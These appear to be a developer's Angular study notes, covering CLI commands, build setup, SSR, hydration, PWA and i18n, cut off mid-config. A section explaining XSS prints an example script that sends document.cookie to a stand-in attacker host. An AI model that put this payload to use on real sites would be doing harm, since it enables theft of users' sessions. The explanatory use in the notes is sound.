-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathenv_setup.txt
4096 lines (3695 loc) · 224 KB
/
env_setup.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
MEAN stack
MongoDB , Express , Angular , Node
MERN stack
MongoDB , Express , React , Node
FRONTEND CLIENT side FRAMEWORK(s) which use HTML, JS, TS, Dart for building application(s)
Angular , React
Angular works on REAL DOM.
React works on VIRTUAL DOM , better performance as compared to Angular.
BACKEND SERVER(s)
NodeJs , ExpressJs , ASP.NET , J2EE
Traditional Web Application | Single Page Application
- Initial load (JS, CSS, HTML) on index.html (Single Page)
- Initally slow on index.html but subsequent requests are faster
- Client - Browser loads/remove/modify DOM coz they have ANGULAR/REACT libs
Check reference screenshots too.
Why TypeScript ?
=================
1. It provides intent of code and increases readibility. eg: function sum(a: number, b: number): number { return a+b; }
2. Errors related to typeof args, return type can be detected at compile time, which otherwise would be possible at runtime only.
3. Auto suggestions while writing TS code is provided by most tools (VScode).
4. No need to write unit test cases related to type of args, return type.
Angular Versioning
================================
AngularJs ---> Angular 1.x
Angular ---> Angular 2 onwards
Angular uses SEMVER (SEMANTIC VERSIONING) ie adding meaning to VERSION.
eg: 2.5.8
2 --> Major Version (Breaking Change , ie there is need to modify existing code , eg: AngularJS to Angular)
5 --> New Feature (not breaking)
8 --> Patch, bugfixes (not breaking)
Angular 3 does not exist
Reason : angular/router module in core library of Angular was at v3.x.x plus ahead of v2.x.x for other modules.
Now if Angular v3 is released , angular/router module will be at v4.x.x while others will be at v3.x.x
So to avoid cofusion it was dropped and moved to v4 directly.
Every six months , one major release is made to Angular Version.
METADATA
===============
Tells angular how to process a class ie qualifying a class with the attributes which angular framework can understand.
Consists of decorators. Eg: @Component, @Injectable, @NgModule, @Pipe.
NOTE : a class immediately succeeded by METADATA decorator will only act as ANGULAR specific.
Transpiler is used to convert TS to JS.
This is done either by browser or before providng production build to browser for faster response.
NPM
================
NPM is a NODE PACKAGE MANAGER which gets installed with nodeJS just as MAVEN, ANT, GRADLE etc...
NPM is used to install a package, and any packages that it depends on.
> npm install
If the package has a 'package-lock' or 'shrinkwrap file', installation of dependencies will be driven by that else from 'package.json'
> npm install --save <PACKAGE_NAME>
Install the dependencies in the local node_modules folder.
> npm install -g --save <PACKAGE_NAME>
(--global), installs the current package context (ie, the current working directory) as a global package in NodeJS's 'node_modules' dir
> npm update --save
> npm update -g --save
npm checks if there exist newer versions in repository that satisfy specified semantic versioning ranges as in package.json and installs them.
If no package name is specified, all packages in the specified location (global or local) will be updated.
> npm outdated
> npm install <PACKAGE_NAME>@latest --save
Updating a version that is beyond semantic versioning range requires two parts.
First, you ask npm to list which packages have newer versions available using `npm outdated`.
Then you ask npm to install the latest (@latest) version or specific version (@4.1.6) of a package.
> npm config set registry <NPM_REPO_URL>
Set base url for npm package registry i.e. repo to download packages , Default is https://registry.npmjs.org/
> npm config set proxy <PROXY_URL>
> npm config set https-proxy <PROXY_URL>
Set proxy for a network to allow download of packages
> npm config delete <KEY>
Delete a config setting <KEY> , it can be `proxy`, `https-proxy` etc...
SETUP
================
Refer SetupInstructions.docx document
node.js terminal is a CMD terminal with NODEJs and NPM path variables set for user automatically.
(MULTI-REPO) : every new angular project created will have its own node_modules, files (angular.json, package.json), folders.
> ng new <APP_NAME>
> ng serve
> set NODE_OPTIONS=--openssl-legacy-provider && ng serve // if `ng serve` throws error of SSL/SOCKET etc. , use this command
> ng build --prod
ng build --prod --output-hashing=none // prevents hash-number to be attached to build artifacts
(MONO-REPO) : only one node_modules and common files which can be shared by all angular applications inside working directory <my-workspace>
> ng new <my-workspace> --create-application=false --defaults
> ng generate application <my-app>
> ng serve <my-app>
> ng build <my-app> --prod
--create-application : tells the Angular CLI not to generate an initial application.
--defaults : tells the Angular CLI not to prompt you about routing and CSS preprocessor.
NOTE : application <my-app> and its corresponding <my-app>-e2e application are in the 'projects' folder.
: ng s <my-app> [options] or ng serve <my-app> [options] will start the application
NOTE:
Starting in Angular version 17 new projects will be STANDALONE by default.
To create a project with NgModule use
> ng new <my-app> --no-standalone
OR
> ng new <my-app> --standalone=false
> ng update
Perform a basic update to the current stable release of application and its dependencies.
If no package name and option is specified , it will merely check updates available.
--all=true | flase , Whether to update all packages in package.json. (default=false)
NOTE : Its always advisable to update your app to its next major version i.e. Migrating from angular v6 to v7, then to v8, then to v9, then to v10 and so on..
: > ng update @angular/core@8 @angular/cli@8 | ng update @angular/core @angular/cli
: > ng update @angular/material
: > ...and many more as desired or required...
Refer : https://update.angular.io/
> ng serve [options]
Reference : https://github.com/angular/angular-cli/wiki/serve
--port portval : Port to listen on
--host hostval : Host to listen on
--open (alias: -o) : Opens the url in default browser
--progress : Log progress to the console while building.
--optimization : Enables optimization of the build output. ..... etc.. more on above link
> ng add <package> (MULTI-REPO)
> ng add <package> --project <my-app> (MONO-REPO)
ng add makes adding new capabilities to your project easy. ng add will use your package manager to download new dependencies and
invoke an installation script (implemented as a schematic) which can update your project with configuration changes,
add additional dependencies (e.g. polyfills), or scaffold package-specific initialization code
To run on a different domain other than localhost:
Make sure your hosts file in
- Windows system ("C:\Windows\System32\drivers\etc\hosts")
- MacOS system (sudo vi /etc/hosts)
is updated with following configuration:
127.0.0.1 campbells.local
127.0.0.1 cstore.local
127.0.0.1 supermarkets.local
NOTE: You might need ADMIN RIGHTS on your machine for updating this file.
Once done with updating hosts file, to run project use following command:
> ng serve --host cstore.local --disable-host-check
"npm start" command will work same as "ng serve" command.
because the "start" key of package.json is having value "ng serve -o".
IVY ENGINE
=============
Ivy is the code name for Angular's next-generation compilation and rendering pipeline.
Prior to angular v9 , IVY features were in beta and can be used for experimental purposes.
With the version 9 release of Angular, the new compiler and runtime instructions are used by default instead of the older compiler and runtime, known as View Engine.
This can be checked in `tsconfig.app.json` under "angularCompilerOptions": { "enableIvy": true }
AOT compilation with Ivy is faster and should be used by default.
In the `angular.json` workspace configuration file, set the default build options for your project to always use AOT compilation.
View Engine v/s Ivy Engine
Template HTML that we’ve written runs through the Angular compiler and generates highly optimised JS code that represents the structure of your template.
At runtime, this data structure is passed to the Angular interpreter, which uses the data to determine how to create the DOM.
VIEW ENGINE : Template HTML -> Template data -> Angular Interpreter -> DOM
Instead of generating template data and passing it into interpreter that then makes decisions on which operations to run ,we generate a set of template instructions directly.
These instructions will do work of creating correct DOM on their own. So we no longer need interpreter that will check whether every operation is needed.
IVY ENGINE : Template HTML -> Template instructions -> DOM
DOM Sanitization
=========================
Cross-site Scripting or XSS is probably the most common website security vulnerability.
It enables an attacker to inject client-side script into web pages viewed by other users.
Example :
a. Every blog on the Internet has a comment’s system that allows users to comment on articles.
suppose that an attacker sends the following code as a “comment” to the server
<script>
window.location=’http://attacker/?cookie='+document.cookie
</script>
If the website does not protect itself from Cross-site Scripting, this content will be saved to the database and
all users visiting the page will redirect to the attacker URL.
b. Bind the src property of an Iframe (or a video)
How Angular 2 protect us from XSS:
Angular treats all values as untrusted by default.
When a value is inserted into the DOM from a template, via property, attribute, style, class binding, or interpolation,
Angular sanitizes and escapes untrusted values.
Behind the scenes, Angular will sanitize the HTML input and escape the unsafe code.
i.e. The script will not run, only display on the screen as text.
Angular throwing error "unsafe value used in a resource URL context" because the <iframe src> attribute is a resource URL security context.
Bypass Angular protection:
use the DomSanitizer service
- .sanitize(SecurityContext, value) | SecurityContext = SecurityContext.NONE, SecurityContext.HTML, SecurityContext.STYLE, SecurityContext.SCRIPT, SecurityContext.URL, SecurityContext.RESOURCE_URL
- .bypassSecurityTrustHtml(value)
- .bypassSecurityTrustStyle(value)
- .bypassSecurityTrustScript(value)
- .bypassSecurityTrustUrl(value)
- .bypassSecurityTrustResourceUrl(value)
import {BrowserModule, DomSanitizer} from '@angular/platform-browser';
a. export class App {
constructor(private sanitizer: DomSanitizer) {
this.html = sanitizer.bypassSecurityTrustHtml('<h1>DomSanitizer</h1><script>ourSafeCode()</script>') ;
}
}
b. export class App {
constructor(private sanitizer: DomSanitizer) {
this.iframe = sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com")
}
}
`const` in Angular and Typescript
===================================
`const` keyword will not work and gives compilation error `A class member cannot have the ‘const’ keyword`
Because class members are mutable and modified and accessed by different calls and objects.
Typescript thus provides readonly modifier field instead of const. const is for variables and readonly is for class properties.
In both cases reassignment is NOT possible, however value can change. Eg: const a=[9025,4021];
Example: readonly instanceVariable = "instanceData"; a=[9025]; // INVALID | a[0]=4084; // VALID
Global window var | Ambient var in Typescript
==============================================
- Adding new global properties to Window object
Create global object outside class/component in .TS file
These variables can then be used anywhere in our .TS file using, window.VAR
Eg: declare global {
interface Window {
fullName?: string;
emailId?: string;
}
}
- Ambient variable declarations
If we are using a lib that adds global variables and we need to assign something to it in .TS file
We need to inform compiler about their existence. Declare them outside class/component in .TS file
And then these can be assigned using, window['dataLayer'] = window['dataLayer'] || []; dataLayer.push({});
Eg: declare var dataLayer: any;
Angular 10, new stuff
=========================
1. Allows use of --strict flag while creating a new project
It provides reduced budget sizes that can be checked in `angular.json`
Removes support for 'any' data type of variables that can be checked in `tslint.json` under key 'no-any' : true
> ng new --strict <PROJECT_NAME>
2. Reduced bundle size of production build artifacts
Angular 10 will only support ES6 (ES2015) and above modules due to which it will not work on older browsers IE 9, 10, 11.
As a result production build artifacts generated using `ng build --prod` will only have es2015 compatible artifacts, whereas in prior versions it has both es5 and es2015 build artifacts.
This can be configured in '.browserslistrc' file.
> npx browserslist /* This will give a list of all supported browsers for application */
3. < and other markups will no longer be supported by Angular 10 as it is always discouraged by HTML 5.
Instead we must use CSS properties padding , margin etc. for spacing.
NOTE : We may use Angular 9 if we need to support old browsers or Angular 10 for better performance, reduced bundle size.
PWA experience to Angular
===============================
Following package will add all necessary code for making an app a PWA, which otherwise had to be done manually.
It will update angular.json, package.json, app.module.ts, index.html plus create assets/ dir for relevant icons.
> ng add @angular/pwa (MULTI-REPO)
> ng add @angular/pwa --project <my-app> (MONO-REPO)
@angular/pwa package provides offline functionalities to our app by making use of service workers. This can be configured in `ngsw-config.json` file.
A) "assetGroups": [ /** Caching static resources or assets i.e. resources loaded from page's origin, CDNs */
{
"name": "app",
"installMode": "prefetch", /** prefetch(default): fetch every listed resources | lazy: cache only which are requested from listed resources */
"resources": {
"files": ['/**/*.css', '/*.js'],
"urls": ['GOOGLE-FONTs-CDN']
}
},
{
"name": "assets",
"installMode": "lazy",
"updateMode": "prefetch", /** Defaults to value of installMode. Determines caching behavior when new version of app is discovered.
prefetch: download/cache changed resources immediately.
lazy: not cache resources. Instead, treats them unrequested, waits until they're requested again before updating them.
NOTE : An updateMode of lazy is only valid if the installMode is also lazy. */
"resources": {
"files": ['/assets/**']
}
}
]
B) "dataGroups": [ /** Caching dynamic data from NETWORK API requests */
{
"name": "myDATA",
"urls": ['API-REQ-URLs'],
"cacheConfig": {
"maxSize": 5, /** maximum number of entries, or responses, in the cache. Eg: 5:last five entries in 'urls' array */
"maxAge": "3d12h", /** how long responses are allowed to remain in the cache before being considered invalid and evicted */
"timeout": "5s30u", /** how long the Angular service worker will wait for the network to respond before using a cached response */
"strategy": "freshness" /** performance(default): depend on `maxAge`, If resource exists in cache use it and no network request is made */
freshness: depend on `timeout`, fetch data from network request. Only if network times out, use cache
NOTE : To simulate 'staleWhileRevalidate' strategy, set `strategy` to 'freshness' and `timeout` to '0u'
}
}
]
Angular Material
================================
REFER : https://material.angular.io/components/categories
UI can be improved by using either Bootstrap or Angular Material.
Angular material provides functionality for PAGINATION OF TABLES, SORTING OF TABLES via column clicks ... and much more.
NOTE : @angular/material package has to be added, which will update angular.json, package.json, app.module.ts .... etc.
> ng add @angular/material (MULTI-REPO)
> ng add @angular/material --project <my-app> (MONO-REPO)
NOTE : material to be used must be imported in imports [] of '.module.ts'
Angular Elements or Web Components
======================================
By using Angular Elements you can package Angular components as custom elements, a web standard for defining new HTML elements in a framework-agnostic way.
The custom elements standard is currently supported by browsers like Chrome, Opera, and Safari. To be able to use it Firefox and Edge polyfills are available.
With a custom element you can extend the set of available HTML tags. The content of this tag is then controlled by JavaScript code which is included in the page.
In order to keep track of all available custom elements the browser maintains a registry in which every elements needs to be registered first.
In this registry the name of the tag is mapped to the JavaScript class which controls the behavior and the output of that element.
The Angular Elements functionality is available with the package @angular/elements.
This packages exposes the createCustomElement() function which can be used to create a custom element (web component) from an Angular component class.
Therewith it provides a bridge from Angular component interface and change detection functionality to the build-in DOM API.
It will add the needed document-register-element.js polyfill and dependencies for Angular Elements at the same time.
> ng add @angular/elements
In app.module.TS (root module)
1. Import Injector from the @angular/core package and createCustomElement from the @angular/elements package
// example
import { NgModule, Injector } from '@angular/core';
import { createCustomElement } from '@angular/elements';
2. <COMPONENT> desired to be angular element will not be used in Angular application itself, so we need to add it to entryComponents property to @NgModule decorator.
// example
entryComponents: [
<COMPONENT>
]
3. Using createCustomElement() function , register newly created custom element in browser that return reference to CustomElementRegistry object
// example
export class AppModule {
constructor(private injector: Injector) {}
ngDoBootstrap() {
const el = createCustomElement(<COMPONENT>, { injector: this.injector });
customElements.define('custom-element-tag', el);
}
}
4. Build process
a. generate files under `/dist` without hash values appended to file names
> ng build --prod --output-hashing none
b. bundle runtime,polyfills,main,script JS files into single file that is used for src of <script> , fs-extra: provides file system methods , concat: concatenate multiple files
> npm install fs-extra concat
c. create a bundle-js.js script
const fs = require('fs-extra');
const concat = require('concat');
(async function build() {
const filesES2015 = [
'./dist/spaceXLaunchPrograms/browser/runtime-es2015.js',
'./dist/spaceXLaunchPrograms/browser/polyfills-es2015.js',
'./dist/spaceXLaunchPrograms/browser/scripts.js',
'./dist/spaceXLaunchPrograms/browser/main-es2015.js'
];
const filesES5 = [
'./dist/spaceXLaunchPrograms/browser/runtime-es5.js',
'./dist/spaceXLaunchPrograms/browser/polyfills-es5.js',
'./dist/spaceXLaunchPrograms/browser/scripts.js',
'./dist/spaceXLaunchPrograms/browser/main-es5.js'
];
await fs.ensureDir('app-element');
await concat(filesES2015, 'app-element/spaceXApp-es2015.js');
await concat(filesES5, 'app-element/spaceXApp-es5.js');
await fs.copyFile('./dist/spaceXLaunchPrograms/browser/styles.css', 'app-element/styles.css');
await fs.copyFile('./dist/spaceXLaunchPrograms/browser/manifest.webmanifest', 'app-element/manifest.webmanifest');
await fs.copyFile('./dist/spaceXLaunchPrograms/browser/ngsw-worker.js', 'app-element/ngsw-worker.js');
await fs.copyFile('./dist/spaceXLaunchPrograms/browser/ngsw.json', 'app-element/ngsw.json');
await fs.copyFile('./dist/spaceXLaunchPrograms/browser/safety-worker.js', 'app-element/safety-worker.js');
await fs.copyFile('./dist/spaceXLaunchPrograms/browser/worker-basic.min.js', 'app-element/worker-basic.min.js');
await fs.copy('./dist/spaceXLaunchPrograms/browser/assets/', 'app-element/assets/' );
})();
d. run above bundle script that will create app-element dir with all necessary files copied from /dist dir
> node bundle-js.js
e. create index.html in this newly created dir and serve this index.html with http-server tool using command `http-server` at this dir
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Test Angular Elements</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<app-element></app-element>
<script src="spaceXApp-es5.js" defer></script>
<script src="spaceXApp-es2015.js" async></script>
</body>
</html>
Angular SSR (Server Side Rendering) and Pre-rendering/SSG(Static Site Generation) with Angular Universal
===============================================================================
Angular applications are single-paged apps (SPAs) - this means a single HTML document is served to the client,
which can then be dynamically rewritten on the client browser-based on data received from the server, instead of serving a static page when routing.
Angular Universal allows the app to be executed on the server, which lets us generate and serve static HTML to the client in response to navigation.
This means that when user opens Angular app, server will show user a pre-rendered version of app which they can browse while client-side application loads behind-the-scenes.
When the client-side application has finished loading, the application switches from pre-rendered app to the fully interactive client-side app, without the user even noticing.
CSR vs SSR vs SSG
- CSR allows having highly user interactive websites.
However, it might result in delayed FCP due to large bundle size of JS. Also, there is problem with SEO.
- Dynamic SSR or SSR is when there will be live Node server spun up such that whenever Route is hit, it will dynamically generate and serialize application — returning that String to browser.
Static Pre-rendering or pre-rendering is when we want to pre-render a list of routes and create static files, (ie: index.html, about-us.html, etc) and then use server of our choice to serve up those files later on.
- SSR is used when application (and the routes you need to SSR) are dynamic i.e. application structure is rendered based on JSON files where anything could change at any given moment.
Pre-rendering is used when application (or at least the Routes you’re trying to pre-render) are a static content eg: about us, contact us.
dynamic content routes can be pointed to normal CSR version of your application.
- SSR is rendering client-side app to HTML on the server i.e. server compiles application(render on a server) and sends generated HTML page back to client.
Prerendering is running client-side app at build time to capture its initial state as static HTML and saved as static HTML pages on file-system and sends same when requested.
In both rendering technique, we generate static HTML pages. Just the major difference is the location where HTML pages are generated.
- CHECK SCREENSHOTS TOO.
The Angular CLI compiles and bundles the Universal version of the app with the Ahead-of-Time (AOT) compiler.
Install the Angular Universal schematic to set our app up for server-side rendering and pre-rendering.
> ng add @nguniversal/express-engine
OR update
> ng update @nguniversal/express-engine
This will create following new files:
- main.server.ts * bootstrapper for server app
- server.ts * express web server
- app/app.server.module.ts * server-side application module
A sample code for estimating FCP time, write in index.html of your app
<script>
const po = new PerformanceObserver((list) => {
for (const entry of list.getEntriesByName('first-contentful-paint')) {
console.log('FCP: ', entry.startTime);
po.disconnect();
}
});
po.observe({type: 'paint', buffered: true});
</script>
- client-side rendered (CSR) version of our app is served using
// PRODUCTION MODE
> ng build --prod --output-hashing=none
Deploy files under `dist/<project-name>/browser` to a server
// DEVELOPMENT MODE
> npm run start OR > ng serve
The CSR app in development mode is available on port 4200 (default), which can be changed in `package.json` file.
- server-side rendered (SSR) version of our app is served using
NOTE: The SSR app is available on port 4000 (default), which can be changed in the generated `server.ts` file.
A. To build both the server script and the application in production mode,
use this command i.e. when you want to build project for deployment.
> npm run build:ssr OR
> (cp server.prod.ts server.ts || copy server.prod.ts server.ts) && ng build --configuration production && ng run <PROJECT_NAME>:server:production
B. Starts the server script for serving the application locally with server-side rendering.
It uses the build artifacts created by `npm run build:ssr`, so make sure you have run that command before as well.
NOTE: `serve:ssr` is not intended to be used to serve application in production, but only for testing server-side rendered application locally.
> npm run serve:ssr OR > node dist/<PROJECT_NAME>/server/main.js
C. To run SSR app in development mode, that will automatically recompile the client and server bundles and live-reload the browser on any code change.
Similar to `ng serve`, but this command is slower than the actual ng serve command.
> npm run dev:ssr OR > ng run <PROJECT_NAME>:serve-ssr
- SSG/pre-rendered version of our app
Pages that don’t need to be rendered server-side or rendered on the client every time a user makes a request.
Angular Universal 9 now allows you to cache these pages as static files, which can then be served to the client via your CDN or a simple server.
Set up
1- pre-rendered files are found at `dist/<project-name>/browser` after running following command
> npm run prerender OR > ng run <PROJECT_NAME>:prerender
This will look for all static routes using guess-parser and prerender it. Prerendering also renders the data received from API response.
Guess-parser is able to detect static routes, but it is unable to detect parameterized routes, so use following step.
2- In `angular.json` file and look for the "prerender" builder (at the very end of the default angular.json).
The builder comes with a "routes": [], which allows to specify the routes of the app pages we wish to pre-render.
OR specify a .txt file with each route on new line and replace "routes" key with "routesFile": "./pre-render-routes-file.txt"
3- Deploy files in `dist/<project-name>/browser` to a server to serve pre-rendered version of app.
There are three main reasons to create a Universal version of your app:
- Facilitate web crawlers through search engine optimization (SEO)
Angular Universal can generate a static version of your app that is easily searchable, linkable, shareable and navigable without JavaScript.
Universal also makes a site preview available since each URL returns a fully rendered page.
This is evident as client-side application shows <app-root></app-root> with nothing else inside it,
whereas server-side app displays page CSS and all app content coming from <app-root></app-root>. This makes it much easier for a web-crawler to scrape app’s content.
- Improve performance on mobile and low-powered devices
Some devices don't support JavaScript or execute JavaScript so poorly that the user experience is unacceptable.
For these cases, you may require a server-rendered, no-JavaScript version of the app.
- Show the first page quickly with a first-contentful paint (FCP)
With Angular Universal, you can generate landing pages for the app that look like the complete app.
The pages are pure HTML, and can display even if JavaScript is disabled. It will serve a static version of the landing page to hold the user's attention.
At same time, you'll load full Angular app behind it.
User perceives near-instant performance from landing page and gets full interactive experience after full app loads.
HYDRATION
============================
NOTE: Before you can get started with hydration, you must have a server-side rendered (SSR) application.
Angular hydration is a technique that boosts performance and speed of server-side rendered (SSR) applications.
It achieves this by reusing server rendered DOM structures, persisting application state,
transferring application data that was retrieved already by the server, and other processes.
Without hydration enabled, SSR Angular applications will destroy and re-render the application's DOM,
which may result in a visible UI flicker. This re-rendering can negatively impact Core Web Vitals like LCP and cause a layout shift.
Enabling hydration allows the existing DOM to be re-used and prevents a flicker.
Angular Hydration combines built elements from the server with interactive components from client to make your app fully functional.
A. How to enable hydration on an SSR app
--------------------------------------------
> ng new <APP_NAME> --ssr OR ng add @angular/ssr
This should add `provideClientHydration()` to your root app module's provider list.
import {provideClientHydration} from '@angular/platform-browser';
@NgModule({
declarations: [AppComponent],
exports: [AppComponent],
bootstrap: [AppComponent],
providers: [provideClientHydration()],
})
export class AppModule {}
B. Verify hydration
----------------------------
In console, you can see a statement like – "Angular hydrated 1 component(s) and 14 node(s), 0 component(s) were skipped."
That means you have enabled SSR along with hydration.
C. Hydration requirements
-----------------------------
- The HTML produced during server-side rendering must match the client’s DOM tree structures to avoid hydration problems.
Angular is unaware of these DOM changes and cannot resolve them during hydration.
Angular will expect a particular structure but if it encounters a different one when attempting to hydrate,
This mismatch will result in hydration failure and throw a DOM mismatch error.
- Application must have a valid HTML structure, this could result in a DOM mismatch error during hydration.
For example, here are some of the most common cases of this issue.
<table> without a <tbody> , <div> inside a <p> , <a> inside an <h1> , <a> inside another <a>
- When using the hydration feature, it is recommend using the default `false` setting for preserveWhitespaces.
If this setting is not in your TS config, the value will be false, and no changes are required.
If you enable preserving whitespaces by adding preserveWhitespaces: true to your tsconfig, you may encounter issues with hydration.
D. Skip Hydration
---------------------
Some components may not work correctly with hydration enabled due to above issues/requirements,
As a workaround, you can add `ngSkipHydration` attribute to component’s tag to skip hydrating entire component and its children.
<COMPONENT-SELECTOR ngSkipHydration />
OR
Component({
selector: 'app-show-constraints',
templateUrl: './show-constraints.component.html',
styleUrls: ['./show-constraints.component.css'],
host: { ngSkipHydration: 'true' }
})
Make Angular application compatible with Internet Explorer (IE)
=================================================================
REFERENCE : https://indepth.dev/angular-internet-explorer/
FOR PRODUCTION BUILD (ng build --prod)
------------------------------------------
1. Install a couple of npm packages
> npm install --save classlist.js
> npm install --save web-animations-js
2. Edit `polyfills.ts`
- uncomment two commented out lines in `APP_NAME\\src\\polyfills.ts`
import 'classlist.js';
import 'web-animations-js';
3. Edit `browserslist`
- remove not from not IE 9-11 line in `APP_NAME\\browserslist`
IE 9-11
FOR DEVELOPMENT (ng serve)
------------------------------
1. Edit tsconfig.json
- change "target": "es2015" to "target": "es5" in `APP_NAME\\tsconfig.json`
"compilerOptions": { "target": "es5" }
jQuery / Bootstrap in Angular
================================
> npm install jquery // Install jQuery plugin
> npm install bootstrap // Install Bootstrap plugin
NOTE : After installing jQuery or bootstrap we need to make it global.
In the module (inside node_modules), .min.js under ‘dist’ folder is not public.
To make them global, add .min.js
- inside "angular-cli.json" or "angular.json" add the path "node_modules/jquery/dist/jquery.min.js" in scripts: [] property
- i.e. "scripts" :[
"node_modules/jquery/dist/jquery.min.js",
"node_modules/bootstrap/dist/js/bootstrap.min.js"
]
Similarly we can add .min.css
- inside "angular-cli.json" or "angular.json" add the path "node_modules/jquery/dist/jquery.min.css" in styles: [] property
- i.e. "styles" :[
"node_modules/@angular/material/prebuilt-themes/indigo-pink.css",
"node_modules/bootstrap/dist/css/bootstrap.min.css",
"src/styles.css"
]
To use jQuery inside a component
- import * as $ from 'jquery'
Also now we can use Bootstrap as usual with class names in our CSS files.
INTERNATIONALIZATION (i18n) | LOCALIZATION (l10n)
=====================================================
REFER : https://angular.io/guide/i18n
Angular localization is a process of making an application support rendering in multiple languages.
Internationalization develops the website in a way that the localization of the site becomes easier.
This means loading it with dynamic content as per the user’s language preference or user’s location.
1. Add required Internationalization plugin
- ng add @angular/localize
2. Set locales for your application, to allow application to decide which locale to render based on viewer local.
Angular uses `en-US` as default locale to render content if specific locale is not supported by application.
APP.MODULE.TS
import { registerLocaleData } from '@angular/common';
import localeFr from '@angular/common/locales/fr';
import localeDe from '@angular/common/locales/de';
registerLocaleData(localeFr);
registerLocaleData(localeDe);
@NgModule({ declarations:[], imports: [], providers: [], bootstrap: [AppComponent] })
export class AppModule { }
3. Mark HTML tags with attribute `i18n` , `meaning | description` , `@@ID`
<h6 i18n>we are ready to help you</h6>
<h6 i18n="slidersubheading|Pointer text for the customer">we are ready to help you</h6>
<h6 i18n="@@subtopicslider">we are ready to help you</h6>
4. Generate custom label files for each locale that we plan to support
a. generate default locale file `messages.xlf` by extracting all tagged labels
- ng xi18n OR ng extract-i18n
To change path and/or name of default XLF file
- ng extract-i18n --output-path src/locale --out-file source.xlf
b. create other locale files by copying default `messages.xlf` file and renaming it to each required locale
`messages.fr.xlf` and `messages.de.xlf`
c. Send each (*.LOCALE.xlf) translation file to a translator
Translator uses an XLIFF file editor to create translation and edit translation.
The first <trans-unit> element is translation unit, also known as text node,
represents translation of tag that was previously marked with `i18n` attribute.
Here, copy the <source>...</source> element in text node,
rename it to <target>...</target>, and then replace content with LOCALE text
Eg:
<trans-unit id="introductionHeader" datatype="html">
<source>Hello i18n!</source>
<target>Bonjour i18n !</target>
<note priority="1" from="description">An introduction header for this sample</note>
<note priority="1" from="meaning">User welcome</note>
</trans-unit>
5. ANGULAR.JSON configuration
"projects": {
"PROJECT_NAME": {
"projectType": "application",
"i18n": {
"locales": {
"fr": "messages.fr.xlf",
"de": "messages.de.xlf"
}
},
"architect": {
"build": {
"configurations": {
"production": { },
"fr": { "localize": ["fr"] },
"de": { "localize": ["de"] }
}
},
"serve": {
"configurations": {
"production": { "browserTarget": "internationalisation:build:production" },
"fr": { "browserTarget": "internationalisation:build:fr" },
